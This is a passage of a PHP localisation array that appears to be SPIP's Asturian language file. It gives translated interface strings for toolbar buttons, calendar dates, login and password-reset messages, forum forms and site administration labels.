'avis_erreur_fonction_contexte' => 'Fallu de programación. Esta función nun tien que llamase n’esi contestu.',
'avis_erreur_mysql' => 'Fallu de SQL',
'avis_erreur_sauvegarde' => '¡Fallu na copia de seguridá (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'Problema cola entrada al espaciu priváu',
// B
'barre_a_accent_grave' => 'Amestar una A mayúscula con acentu grave',
'barre_aide' => 'Usa los atayos tipográficos para iguar meyor la presentación del testu',
'barre_e_accent_aigu' => 'Amestar una E mayúscula con tilde',
'barre_eo' => 'Amestar una E a la O',
'barre_eo_maj' => 'Amestar una E cola O mayúscula',
'barre_euro' => 'Amestar la marca €',
'barre_gras' => 'Poner en {{negrina}}',
'barre_guillemets' => 'Poner ente «comines»',
'barre_guillemets_simples' => 'Poner ente comines de segundu nivel',
'barre_intertitre' => 'Camudar a {{{inter-títulu}}}',
'barre_italic' => 'Poner en {cursiva}',
'barre_lien' => 'Camudar a [enllaz d’hipertestu->http://...]',
'barre_lien_input' => 'Indica les señes del to enllaz. Pueden conseñase unes señes web na forma http://www.talsitiu.ast/direutoriu/ o sólo poner el númberu d’un artículu d’esti sitiu.',
'barre_note' => 'Camudar en [[Nota de pie de páxina]]',
'barre_paragraphe' => 'Crear un párrafu',
'barre_quote' => '<quote>Citar un mensaxe</quote>',
'bouton_changer' => 'Camudar',
'bouton_chercher' => 'Restolar',
'bouton_choisir' => 'Escoyer',
'bouton_deplacer' => 'Mover',
'bouton_download' => 'Descargar', # MODIF
'bouton_enregistrer' => 'Guardar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar los mensaxes internos',
'bouton_radio_envoi_annonces' => 'Unviar anuncies editoriales',
'bouton_radio_non_envoi_annonces' => 'Nun unviar anuncies',
'bouton_radio_non_envoi_liste_nouveautes' => 'Nun unviar la llista de novedáes',
'bouton_recharger_page' => 'recargar esta páxina',
'bouton_telecharger' => 'Subir',
'bouton_upload' => 'Subir', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tardi',
'cal_jour_entier' => 'día enteru',
'cal_matin' => 'mañana',
'cal_par_jour' => 'calendariu por día',
'cal_par_mois' => 'calendariu por mes',
'cal_par_semaine' => 'calendariu por selmana',
'choix_couleur_interface' => 'color ',
'choix_interface' => 'escoyeta de l’interfaz',
'colonne' => 'Columna',
'confirm_changer_statut' => 'Atención, acabes de pidir el cambéu de l’estáu d’esti elementu. ¿Quiés continuar?',
'correcte' => 'correuta',
// D
'date_aujourdhui' => 'güei',
'date_avant_jc' => 'aC',
'date_dans' => 'en @delai@',
'date_de_mois_1' => '@j@ de @nommois@',
'date_de_mois_10' => '@j@ d’@nommois@',
'date_de_mois_11' => '@j@ de @nommois@',
'date_de_mois_12' => '@j@ d’@nommois@',
'date_de_mois_2' => '@j@ de @nommois@',
'date_de_mois_3' => '@j@ de @nommois@',
'date_de_mois_4' => '@j@ d’@nommois@',
'date_de_mois_5' => '@j@ de @nommois@',
'date_de_mois_6' => '@j@ de @nommois@',
'date_de_mois_7' => '@j@ de @nommois@',
'date_de_mois_8' => '@j@ d’@nommois@',
'date_de_mois_9' => '@j@ de @nommois@',
'date_demain' => 'mañana',
'date_fmt_heures_minutes' => '@h@h.@m@min.',
'date_fmt_jour_heure' => '@jour@ a les @heure@',
'date_fmt_jour_mois' => '@jour@ de @nommois@',
'date_fmt_jour_mois_annee' => '@jour@ de @nommois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'el @nomjour@ @date@',
'date_heures' => 'hores',
'date_hier' => 'ayeri',
'date_il_y_a' => 'hai @delai@',
'date_jnum1' => '1u',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'domingu',
'date_jour_1_abbr' => 'dom.',
'date_jour_1_initiale' => 'd.',
'date_jour_2' => 'llunes',
'date_jour_2_abbr' => 'llu.',
'date_jour_2_initiale' => 'l.',
'date_jour_3' => 'martes',
'date_jour_3_abbr' => 'mar.',
'date_jour_3_initiale' => 'm.',
'date_jour_4' => 'miércoles',
'date_jour_4_abbr' => 'mié.',
'date_jour_4_initiale' => 'm.',
'date_jour_5' => 'xueves',
'date_jour_5_abbr' => 'xue.',
'date_jour_5_initiale' => 'x.',
'date_jour_6' => 'vienres',
'date_jour_6_abbr' => 'vie.',
'date_jour_6_initiale' => 'v.',
'date_jour_7' => 'sábadu',
'date_jour_7_abbr' => 'sáb.',
'date_jour_7_initiale' => 's.',
'date_jours' => 'díes',
'date_minutes' => 'minutos',
'date_mois' => 'meses',
'date_mois_1' => 'xineru',
'date_mois_10' => 'ochobre',
'date_mois_11' => 'payares',
'date_mois_12' => 'avientu',
'date_mois_2' => 'febreru',
'date_mois_3' => 'marzu',
'date_mois_4' => 'abril',
'date_mois_5' => 'mayu',
'date_mois_6' => 'xunu',
'date_mois_7' => 'xunetu',
'date_mois_8' => 'agostu',
'date_mois_9' => 'setiembre',
'date_saison_1' => 'iviernu',
'date_saison_2' => 'primavera',
'date_saison_3' => 'branu',
'date_saison_4' => 'seronda',
'date_secondes' => 'segundos',
'date_semaines' => 'selmanes',
'date_un_mois' => 'mes',
'date_une_heure' => 'hora',
'date_une_minute' => 'minutu',
'date_une_seconde' => 'segundu',
'date_une_semaine' => 'selmana',
'dirs_commencer' => 'pa entamar dafechu la instalación',
'dirs_preliminaire' => 'Previo: <b>Iguar los permisos d’accesu</b>',
'dirs_probleme_droits' => 'Problema colos permisos d’accesu',
'dirs_repertoires_absents' => '<p><b>Nun s’atoparon los direutorios siguientes:</b></p><ul>@bad_dirs@</ul>
<p>Ye probable qu’el problema seya por cuenta d’una equivocación coles mayúscules o minúscules.
Comprueba que les minúscules y mayúscules d’estos direutorios concasen bien coles que s’amuesen
enriba; si nun ye’l casu, renoma los direutorios col to programa de FTP pa iguar el fallu.</p>
<p>De magar fechu esti cambéu, vas poder ',
'dirs_repertoires_suivants' => '<p><b>Los direutorios siguientes nun son accesibles pa escritura:</b></p> <ul>@bad_dirs@</ul>
<p>Pa igualo, usa el to cliente FTP pa reglar los permisos d’accesu de caún
d’estos direutorios. El procesu esplícase en detalle na guía d’asitiamientu.</p>
<p>De magar fechu el cambéu, vas poder ',
'double_occurrence' => 'Ocurrencia doble de @balise@',
// E
'en_cours' => 'en cursu',
'envoi_via_le_site' => 'Unviu mandándose del sitiu',
'erreur' => 'Error',
'erreur_balise_non_fermee' => 'cabera baliza nun pesllada:',
'erreur_texte' => 'fallu(os)',
'etape' => 'Etapa',
// F
'fichier_introuvable' => 'Nun s’alcuentra el ficheru @fichier@',
'form_auteur_confirmation' => 'Confirma les tos señes de corréu',
'form_auteur_email_modifie' => 'Se camudaron les tos señes de corréu.',
'form_auteur_envoi_mail_confirmation' => 'Vien d’unviase un corréu electrónicu de confirmación a @email@. Tendrás de visitar la direición Web qu’apaez nesi corréu pa validar les tos señes de corréu.',
'form_auteur_mail_confirmation' => 'Bones,
Vienes de pidir que camuden les tos señes de corréu.
Pa confirmar les señes nueves, val con que te coneutes a
les señes darréu (d’otra miente, el cambéu de señes
s’encaboxará) :
@url@
',
'form_deja_inscrit' => 'Ya tas apuntáu.',
'form_email_non_valide' => 'Les señes de corréu electrónicu nun son válides.',
'form_forum_access_refuse' => 'Ya nun ties accesu a esti sitiu.',
'form_forum_bonjour' => 'Hola, @nom@,',
'form_forum_email_deja_enregistre' => 'Estes señes de corréu electrónicu ya tan rexistráes; poro, puedes usar la to contraseña normal.',
'form_forum_identifiant_mail' => 'La to nueva identificación ta acabante d’unviase por email.',
'form_forum_identifiants' => 'Identificación personal',
'form_forum_indiquer_nom_email' => 'Indica equí el to nome y les tos señes d’email. La to identificación personal va llegate de secute por corréu ellectrónicu.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(esti ye un mensaxe automáticu)',
'form_forum_pass' => 'contraseña:',
'form_forum_probleme_mail' => 'Problema col corréu: nun pudo mandase la identificación.',
'form_forum_voici1' => 'Esta ye la to identificación pa que puedas participar dafechu
nel sitiu "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Esta ye la to identificación pa proponer artículos nel
sitiu "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Pon les tos señes de corréu electrónicu.',
'form_indiquer_nom' => 'Indica el to nome.',
'form_indiquer_nom_site' => 'Indica el nome del to sitiu Web.',
'form_pet_deja_enregistre' => 'Esti sitiu ya ta rexistráu',
'form_pet_signature_pasprise' => 'La to firma nun se tuvo en cuenta.',
'form_prop_confirmer_envoi' => 'Confirmar l’unvíu',
'form_prop_description' => 'Descripción/comentariu',
'form_prop_enregistre' => 'La to propuesta quedó rexistrada, apaecerá en llínia tres de la validación polos responsables d’esti sitiu.',
'form_prop_envoyer' => 'Unviar un mensaxe',
'form_prop_indiquer_email' => 'Hai qu’indicar unes señes d’email válides',
'form_prop_indiquer_nom_site' => 'Hai qu’indicar el nome del sitiu.',
'form_prop_indiquer_sujet' => 'Hai qu’indicar un asuntu',
'form_prop_message_envoye' => 'Mensaxe unviáu',
'form_prop_non_enregistre' => 'La to propuesta nun quedó rexistrada.',
'form_prop_sujet' => 'Asuntu',
'form_prop_url_site' => 'Señes (URL) del sitiu', # MODIF
'forum_non_inscrit' => 'Nun tas apuntáu, o les tos señes o contraseña tan equivocáos.',
'forum_par_auteur' => 'por @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'El ficheru «backend» de los artículos d’esti sitiu alcuéntrase na direición:',
'ical_texte_rss_articles2' => 'Lo mesmo puedes alcontrar ficheros «backend» pa los artículos de cada estaya d’esti sitiu:',
'ical_texte_rss_breves' => 'Amás esiste un ficheru que contién les breves del sitiu. Escribiendo un númberu d’estaya, tendrás namái les breves d’esa estaya.',
'icone_a_suivre' => 'A siguir',
'icone_admin_site' => 'Alministración del sitiu',
'icone_agenda' => 'Axenda',
'icone_aide_ligne' => 'Aida',
'icone_articles' => 'Artículos',
'icone_auteurs' => 'Autores',
'icone_brouteur' => 'Ñavegación rápida',
'icone_configuration_site' => 'Configuración',
'icone_configurer_site' => 'Configurar esti sitiu',
'icone_creer_nouvel_auteur' => 'Crear un autor nuevu',
'icone_creer_rubrique' => 'Crear una estaya',
'icone_creer_sous_rubrique' => 'Crear una so-estaya',
'icone_deconnecter' => 'Desconeutase',
'icone_discussions' => 'Discutinios',
'icone_doc_rubrique' => 'Documentos de les estayes',
'icone_ecrire_article' => 'Escribir un artículu nuevu',
'icone_edition_site' => 'Edición',
'icone_gestion_langues' => 'Xestión de les llingües',
'icone_informations_personnelles' => 'Información personal',
'icone_interface_complet' => 'interfaz completa',
'icone_interface_simple' => 'Interfaz simplificada',
'icone_maintenance_site' => 'Mantenimientu del sitiu',
'icone_messagerie_personnelle' => 'Mensaxería personal',
'icone_repartition_debut' => 'Amosar el repartu dende l’entamu',
'icone_rubriques' => 'Estayes',
'icone_sauver_site' => 'Copia de seguridá del sitiu',
'icone_site_entier' => 'El sitiu enteru',
'icone_sites_references' => 'Sitios referenciaos',
'icone_statistiques' => 'Estadístiques del sitiu',
'icone_suivi_activite' => 'Siguir l’actividá del sitiu',
'icone_suivi_actualite' => 'Evolución del sitiu',
'icone_suivi_pettions' => 'Siguir/xestionar les solicitudes',
'icone_suivi_revisions' => 'Cambéos de los artículos',
'icone_supprimer_document' => 'Desaniciar esti documentu',
'icone_supprimer_image' => 'Desaniciar esta imaxen',
'icone_tous_articles' => 'Tolos artículos de to',
'icone_tous_auteur' => 'Tolos autores',
'icone_tous_visiteur' => 'Tolos visitantes',
'icone_visiter_site' => 'Ver el sitiu públicu',
'icone_voir_en_ligne' => 'Ver en llinia',
'img_indisponible' => 'imaxe non disponible',
'impossible' => 'imposible',
'info_a_suivre' => 'A SIGUIR»',
'info_acces_interdit' => 'Accesu torgáu',
'info_acces_refuse' => 'Accesu refugáu',
'info_action' => 'Aición: @action@',
'info_administrer_rubriques' => 'Puedes alministrar esta estaya y les dependientes d’ella',
'info_adresse_non_indiquee' => '¡Nun indicasti qué señes hai que prebar!',
'info_aide' => 'AIDA:',
'info_ajouter_mot' => 'Amestar esta pallabra',
'info_annonce' => 'ANUNCIU',
'info_annonces_generales' => 'Anuncios xenerales:',
'info_article_propose' => 'Artículu propuestu',
'info_article_publie' => 'Artículu espublizáu',
'info_article_redaction' => 'Artículu en cursu de redaición',
'info_article_refuse' => 'Artículu refugáu',
'info_article_supprime' => 'Artículu desaniciáu',
'info_articles' => 'Artículos',
'info_articles_a_valider' => 'Los artículos por validar',
'info_articles_nb' => '@nb@ artículos',
'info_articles_proposes' => 'Artículos propuestos',
'info_articles_un' => '1 artículu',
'info_auteurs_nombre' => 'autor(es):',
'info_authentification_ftp' => 'Autentificación (per FTP).',
'info_breves_2' => 'breves',
'info_breves_nb' => '@nb@ breves',
'info_breves_un' => '1 breve',
'info_connexion_refusee' => 'Conexón refugada',
'info_contact_developpeur' => 'Ponte en contautu con un desendolcador.',
'info_contenance' => 'Esti sitiu contien:',
'info_contribution' => 'contribuciones del foru', # MODIF
'info_copyright' => '@spip@ ye un programa llibre distribuyíu @lien_gpl@.',
'info_copyright_doc' => 'Pa más información, dir al sitiu <a href="@spipnet@">http://www.spip.net/</a>.', # MODIF
'info_copyright_gpl' => 'so llicencia GPL',
'info_cours_edition' => 'Los tos artículos en cursu de redaición',
'info_creer_repertoire' => 'Debes crear un ficheru o un direutoriu nomáu:',
'info_creer_repertoire_2' => 'dientro’l direutoriu <b>@repertoire@</b>, y llueu:',
'info_creer_vignette' => 'creación automática de la viñeta',
'info_deplier' => 'Desplegar',
'info_descriptif_nombre' => 'descripción(es):',
'info_description' => 'Descripción:',
'info_description_2' => 'Descripción:',
'info_dimension' => 'Dimensiones:',
'info_documents_nb' => '@nb@ documentos',
'info_documents_un' => '1 documentu',
'info_ecire_message_prive' => 'Escribir un mensaxe priváu',
'info_email_invalide' => 'Señes d’email non válides.',
'info_en_cours_validation' => 'Los tos artículos en cursu de redaición',
'info_en_ligne' => 'Actualmente en llinia:',
'info_envoyer_message_prive' => 'Unviar un mensaxe priváu a esti autor',
'info_erreur_requete' => 'Fallu na consulta:',
'info_erreur_squelette2' => 'Nun hai denguna cadarma <b>@fichier@</b> disponible...',
'info_erreur_systeme' => 'Fallu del sistema (errno @errsys@)',
'info_erreur_systeme2' => 'El discu duru puede tar enllenu, o la base de datos dañada.<br />
<span style="color:red;">Tenta <a href=\'@script@\'>iguar la base</a>, o ponte en contautu col to agospiamientu.</span>',
'info_fini' => '¡Acabose!',
'info_format_image' => 'Formatos d’imaxe que pueden utilizase pa crear les viñetes: @gd_formats@.',
'info_format_non_defini' => 'formatu nun definíu',
'info_grand_ecran' => 'Pantalla completa',
'info_image_aide' => 'AIDA',
'info_image_process_titre' => 'Metodo de fabricación de les viñetes',
'info_impossible_lire_page' => '<b>¡Fallu!</b> Nun ye posible lleer la páxina <tt><html>@test_proxy@</html></tt> al traviés del proxy ',
'info_installation_systeme_publication' => 'Instalación del sistema d’espublizamientu...',
'info_installer_documents' => 'Puedes instalar automáticamente tolos documentos contenios nel direutoriu @upload@.',
'info_installer_ftp' => 'Como alministrador, puedes instalar ficheros (per FTP) nel direutoriu @upload@ pa poder lluéu seleicionalos direutamente equí.',
'info_installer_images' => 'Puedes instalar imaxes nos formatos JPEG, GIF y PNG.',
'info_installer_images_dossier' => 'Instalar imáxenes nel direutoriu @upload@ pa poder seleicionales equí.',
'info_interface_complete' => 'interfaz completa',
'info_interface_simple' => 'Interfaz simplificada',
'info_joindre_document_article' => 'Pues amesta-y a esti artículu documentos de tipu',
'info_joindre_document_rubrique' => 'Pues amestar na estaya documentos de tipu',
'info_joindre_documents_article' => 'Pues amesta-y al to artículu documentos de tipu:',
'info_l_article' => 'l’artículu',
'info_la_breve' => 'la breve',
'info_la_rubrique' => 'la estaya',
'info_langue_principale' => 'Llingua principal del sitiu',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ píxeles',
'info_les_auteurs_1' => 'por @les_auteurs@',
'info_logo_format_interdit' => 'Sólo tan autorizáos los formatos @formats@ pa los logos.',
'info_logo_max_poids' => 'Los logos han tener obligatoriamente menos de @maxi@ (el ficheru tien @actuel@).',
'info_mail_fournisseur' => 'el_to_nome@de.correu.ast',
'info_message_2' => 'MENSAXE',
'info_message_supprime' => 'MENSAXE DESANICIÁU',
'info_messages_nb' => '@nb@ mensaxes',
'info_messages_un' => '1 mensaxe',
'info_mise_en_ligne' => 'Fecha d’espublizamientu:',
'info_modification_parametres_securite' => 'cambéos de los parámetros de seguridá',
'info_mois_courant' => 'A lo llargo d’esti mes:',
'info_mot_cle_ajoute' => 'La pallabra-clave darréu amestóse a',
'info_multi_herit' => 'Llíngua por omisión',
'info_multi_langues_soulignees' => 'Les <u>llíngües solliñáes</u> beneficiense de la traducción de tolos testos de la interfaz. Si seleiciones estes llíngües, van traducise automáticamente abondos elementos del sitiu públicu (feches, formularios). Pa les llíngües non solliñáes, estos elementos apaecerán na llingua principal del sitiu.', # MODIF
'info_multilinguisme' => 'Multillingüismu',
'info_nom_non_utilisateurs_connectes' => 'El to nome nun apaez na llista d’usuarios coneutaos.',
'info_nom_utilisateurs_connectes' => 'El to nome apaez na llista d’usuarios coneutáos.',
'info_nombre_en_ligne' => 'En llinia agora:',
'info_non_resultat' => 'Dengún resultáu pa "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Nun tas usando la mensaxería interna d’esti sitiu.',
'info_nouveau_message' => 'TIENES UN MENSAXE NUEVU',
'info_nouveaux_messages' => 'TIENES @total_messages@ MENSAXES NUEVOS',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Esta información ye obligatoria',
'info_pense_bete' => 'RECORDATORIU',
'info_petit_ecran' => 'Pantalla pequeña',
'info_petition_close' => 'Solicitú pesllada',
'info_pixels' => 'píxels',
'info_plusieurs_mots_trouves' => 'Alcontráronse delles pallabres-clave pa "@cherche_mot@":',
'info_portfolio_automatique' => 'Maletu automáticu:',
'info_premier_resultat' => '[@debut_limit@ primeros resultaos de @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ primeros resultaos de @total@]',
'info_propose_1' => '[@nom_site_spip@] Propuesta: @titre@',
'info_propose_2' => 'Artículu propuestu
------------------',
'info_propose_3' => 'L’artículu "@titre@" vien de proponese pa ser espublizáu.',
'info_propose_4' => 'Quedes convidáu a consultalu y a dar la to opinión',
'info_propose_5' => 'nel foru que tien axuntu. Tiéneslu disponible n’estes señes:',
'info_publie_01' => 'L’artículu "@titre@" quedó validáu por @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLICÁU: @titre@',
'info_publie_2' => 'Artículu publicáu
--------------',
'info_rechercher' => 'Restolar',
'info_rechercher_02' => 'Restolar:',
'info_remplacer_vignette' => 'Cambear la viñeta por omisión por un logo personalizáu:',
'info_rubriques_nb' => '@nb@ seiciónes',
'info_rubriques_un' => '1 seición',
'info_sans_titre_2' => 'ensin títulu',
'info_selectionner_fichier' => 'Puedes escoyer un ficheru del direutoriu @upload@',
'info_selectionner_fichier_2' => 'Escueye un ficheru:',
'info_sites_nb' => '@nb@ sitios',
'info_sites_un' => '1 sitiu',
'info_supprimer_vignette' => 'desaniciar la viñeta',
'info_symbole_bleu' => 'La marca <b>azul</b> indica un <b>recordatoriu</b>: ye un mensaxe pal to usu personal.',
'info_symbole_jaune' => 'La marca <b>mariella</b> indica una <b>anuncia pa tolos redactores</b>: puede modificase por tolos alministradores, y ye visible por tolos redactores.',
'info_symbole_vert' => 'La marca <b>verde</b> indica los <b>mensaxes intercambeaos con otros usuarios</b> del sitiu.',
'info_telecharger_nouveau_logo' => 'Subir un logo nuevu:',
'info_telecharger_ordinateur' => 'Subir dende’l to ordenador:',
'info_tous_resultats_enregistres' => '[tolos resultaos tan grabaos]',
'info_tout_afficher' => 'Amosalo too',
'info_travaux_texte' => 'Esti sitiu nun ta iguao tovía. Torna más tarde...',
'info_travaux_titre' => 'Sitiu n’obres',
'info_trop_resultat' => 'Hai demasiaos resultaos pa "@cherche_mot@"; tienes que afinar meyor los criterios.',
'info_utilisation_messagerie_interne' => 'Tas usando la mensaxería interna d’esti sitiu.',
'info_valider_lien' => 'validar esti enllaz',
'info_verifier_image' => ', has comprobar que les tos imaxes tresfirieranse correutamente.',
'info_vignette_defaut' => 'Viñeta por omisión',
'info_vignette_personnalisee' => 'Viñeta personalizada',
'info_visite' => 'visita:',
'info_vos_rendez_vous' => 'Aconceyamientos pendientes',
'infos_vos_pense_bete' => 'Los tos recordatorios',
// L
'lien_afficher_icones_seuls' => 'Amosar namái los iconos',
'lien_afficher_texte_icones' => 'Amosar los iconos y el testu',
'lien_afficher_texte_seul' => 'Amosar sólo el testu',
'lien_liberer' => 'lliberar',
'lien_liberer_tous' => 'lliberar estos artículos', # MODIF
'lien_nouvea_pense_bete' => 'RECORDATORIU NUEVU',
'lien_nouveau_message' => 'MENSAXE NUEVU',
'lien_nouvelle_annonce' => 'ANUNCIU NUEVU',
'lien_petitions' => 'SOLICITÚ',
'lien_popularite' => 'popularidá: @popularite@%',
'lien_racine_site' => 'RAÍZ DEL SITIU',
'lien_reessayer' => 'retentar',
'lien_repondre_message' => 'Responder a esti mensaxe',
'lien_supprimer' => 'desaniciar',
'lien_tout_afficher' => 'Amosalo too',
'lien_visite_site' => 'visitar esti sitiu',
'lien_visites' => '@visites@ visites',
'lien_voir_auteur' => 'Ver esti autor',
'ligne' => 'Llinia',
'login' => 'Conexón',
'login_acces_prive' => 'accesu a l’espaciu priváu',
'login_autre_identifiant' => 'coneutase con otru alcuñu',
'login_cookie_accepte' => 'Ties que regular el to ñavegador pa que les acepte (polo menos pa esti sitiu).',
'login_cookie_oblige' => 'Pa identificate de mou seguru nesti sitiu, ties que aceptar les cookies.',
'login_deconnexion_ok' => 'Fecha la desconexón.',
'login_erreur_pass' => 'Fallu de contraseña.',
'login_espace_prive' => 'espaciu priváu',
'login_identifiant_inconnu' => 'L’alcuñu «@login@» ye desconocíu.',
'login_login' => 'Nome d’usuariu:',
'login_login2' => 'Login (alcuñu de conexón al sitiu):', # MODIF
'login_login_pass_incorrect' => '(Login o contraseña incorreutu.)',
'login_motpasseoublie' => '¿escaecisti la contraseña?',
'login_non_securise' => 'Atención, esti formulariu nun ye seguru.
Si nun quies que la to contraseña pueda
interceutase pel camín, tienes qu’activar
Javascript nel to ñavegador y',
'login_nouvelle_tentative' => 'Nuevu intentu',
'login_par_ici' => 'Tas rexistráu... per equí...',
'login_pass2' => 'Contraseña:',
'login_preferez_refuser' => '<b>Si quiés más refugar les cookies</b>, tenemos disponible otru métodu de conexón (enforma menos seguru):',
'login_recharger' => 'recargar esta páxina',
'login_rester_identifie' => 'Quedar identificáu pa dellos díes',
'login_retour_public' => 'Tornar pal sitiu públicu',
'login_retour_site' => 'Tornar pal sitiu públicu',
'login_retoursitepublic' => 'tornar pal sitiu públicu',
'login_sans_cookiie' => 'Identificación ensin cookie',
'login_securise' => 'Conexón asegurada',
'login_sinscrire' => 'inscribise',
'login_test_navigateur' => 'preba de ñavegador/reconexón',
'login_verifiez_navigateur' => '(Verifica dafechu que’l ñavegador nun s’alcuerde de la to contraseña...)',
// M
'masquer_colonne' => 'Tapecer esta columna',
'masquer_trad' => 'tapecer les traducciones',
'module_fichiers_langues' => 'Archivos de llingua',
// N
'navigateur_pas_redirige' => 'Si el to ñavegador nun te redirixe, calca equí pa continuar.',
'numero' => 'Númberu',
// O
'occurence' => 'Ocurrencia',
'onglet_affacer_base' => 'Desaniciar la base',
'onglet_auteur' => 'L’autor',
'onglet_contenu_site' => 'Conteníu del sitiu',
'onglet_evolution_visite_mod' => 'Evolución',
'onglet_fonctions_avances' => 'Funciones avanzáes',
'onglet_informations_personnelles' => 'Información personal',
'onglet_interactivite' => 'Interactividá',
'onglet_messagerie' => 'Mensaxería',
'onglet_repartition_rubrique' => 'Repartío por estayes',
'onglet_save_restaur_base' => 'Sofitar/restaurar la base',
'onglet_vider_cache' => 'Vaciar la caché',
// P
'pass_choix_pass' => 'Escueye la nueva contraseña:',
'pass_erreur' => 'Error',
'pass_erreur_acces_refuse' => '<b>Error:</b> ya nun tienes accesu a esti sitiu.',
'pass_erreur_code_inconnu' => '<b>Error:</b> esti códigu nun correspuende a dengún visitante que tenga accesu a esti sitiu.',
'pass_erreur_non_enregistre' => '<b>Error:</b> les señes <tt>@email_oubli@</tt> nun tan rexistráes n’esti sitiu.',
'pass_erreur_non_valide' => '<b>Error:</b> ¡estes señes <tt>@email_oubli@</tt> nun son válides!',
'pass_erreur_probleme_technique' => '<b>Error:</b> por cuenta d’un problema téunicu, nun pudo mandase l’email.',
'pass_espace_prive_bla' => 'L’espaciu priváu d’esti sitiu ta abiertu pa lo
visitantes tres d’inscribise. Desque te rexistres,
vas poder consultar los artículos en cursu de redaición,
proponer artículos y participar en tolos foros.',
'pass_forum_bla' => 'Pedisti intervenir nun foru acutao
pa los visitantes rexistraos.',
'pass_indiquez_cidessous' => 'Escribe embaxo les señes d’email coles que
teas rexistráu. Vas recibir un email
nel que te indicamos los pasos a dar
pa volver a tener accesu.',
'pass_mail_passcookie' => '(esti ye un mensaxe automáticu)
Pa volver a tener accesu al sitiu
@nom_site_spip@ (@adresse_site@)
Ties que dir a les siguientes señes:
@sendcookie@
Agora vas poder escoyer una contraseña nueva
pa volver a coneutate al sitiu.
',
'pass_mot_oublie' => 'Contraseña escaecida',
'pass_nouveau_enregistre' => 'La nueva contraseña quedó rexistrada.',
'pass_nouveau_pass' => 'Contraseña nueva',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Contraseña escaecida',
'pass_quitter_fenetre' => 'Zarrar esta ventana',
'pass_rappel_login' => 'Recuerda: la to identidá (login) ye « @login@ ».',
'pass_recevoir_mail' => 'Vas recibir un email que te indica cómo volver a tener accesu al sitiu.',
'pass_retour_public' => 'Volver pal sitiu públicu',
'pass_rien_a_faire_ici' => 'Nun hai qué facer equí.',
'pass_vousinscrire' => 'Apuntate a esti sitiu',
'precedent' => 'anterior',
'previsualisation' => 'Güeyada',
'previsualiser' => 'Preagüeyar',
// R
'retour' => 'Tornar',
// S
'spip_conforme_dtd' => 'SPIP considera q’esti documentu ta conforme col so DOCTYPE:',
'squelette' => 'cadarma',
'squelette_inclus_ligne' => 'cadarma incluyía, llínia',
'squelette_ligne' => 'cadarma, llínia',
'stats_visites_et_popularite' => '@visites@ visites; popularidá: @popularite@',
'suivant' => 'siguiente',
// T
'taille_ko' => '@taille@ KB',
'taille_mo' => '@taille@ MB',
'taille_octets' => '@taille@ bytes',
'texte_actualite_site_1' => 'Cuando yá t’afayes cola interfaz, puedes calcar en «',
'texte_actualite_site_2' => 'interfaz completa',
'texte_actualite_site_3' => '» pa amosar más posibilidáes.',
'texte_creation_automatique_vignette' => 'La creación automática de miniatures de vista previa ta activa nesti sitiu. Si instales dende esti formulariu imáxenes en formatu(os) @gd_formats@, elles van acompañase d’una miniatura con un tamañu máximu de @taille_preview@ pixels.',
'texte_documents_associes' => 'Los siguientes documentos tan asociaos al artículu,
pero nun tan enxertaos direutamente
Dependiendo de la compaxinación del sitiu públicu,
podrán apaecer en forma de documentos axuntos.',
'texte_erreur_mise_niveau_base' => 'Error mientres se adautaba la base de datos.
La imaxen <b>@fichier@</b> nun se pasó (artículu @id_article@).
Acuérdate d’esta referencia, vuelve a probar la
adautación, y llueu mira si les imáxenes apaecen
siempre nos artículos.',
'texte_erreur_visiteur' => 'Acabes de tentar la entrada nel espaciu priváu con un login que nun lo permite.',
'texte_inc_auth_1' => 'Identificástete col nome
<b>@auth_login@</b>, pero ésti nun esiste na base.
Intenta',
'texte_inc_auth_2' => 'reconeutar',
'texte_inc_auth_3' => ', tres de q’hayas, nel so casu, zarráo y
vuelto a abrir el to ñavegador.',
'texte_inc_config' => 'Les igües feches nestes páxines influyen abondo nel
funcionamientu del to sitiu. Encamentámos-te de nun tocales demientres que nun tes
familiarizáu col funcionamientu del sistema SPIP. <br /><br /><b>Más en xeneral, encamentamos
dexar que s’encargue d’estes páxines el webmaster principal del sitiu.</b>',
'texte_inc_meta_1' => 'El sistema atopó un error mientres s’escribía el ficheru <code>@fichier@</code>. Como alministrador del sitiu,',
'texte_inc_meta_2' => 'hai que verificar los permisos d’escritura',
'texte_inc_meta_3' => 'nel direutoriu <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cursu de redaición',
'texte_statut_poubelle' => 'na papelera',
'texte_statut_propose_evaluation' => 'propuestu pa so evaluación',
'texte_statut_publie' => 'publicáu en llínia',
'texte_statut_refuse' => 'refugáu',
'titre_ajouter_mot_cle' => 'AMESTAR UNA PALLABRA-CLAVE:',
'titre_cadre_raccourcis' => 'ATAYOS:',
'titre_changer_couleur_interface' => 'Cambear la color de l’interfaz',
'titre_image_admin_article' => 'Puedes alministrar esti artículu',
'titre_image_administrateur' => 'Alministrador',
'titre_image_aide' => 'Aida so esti elementu',
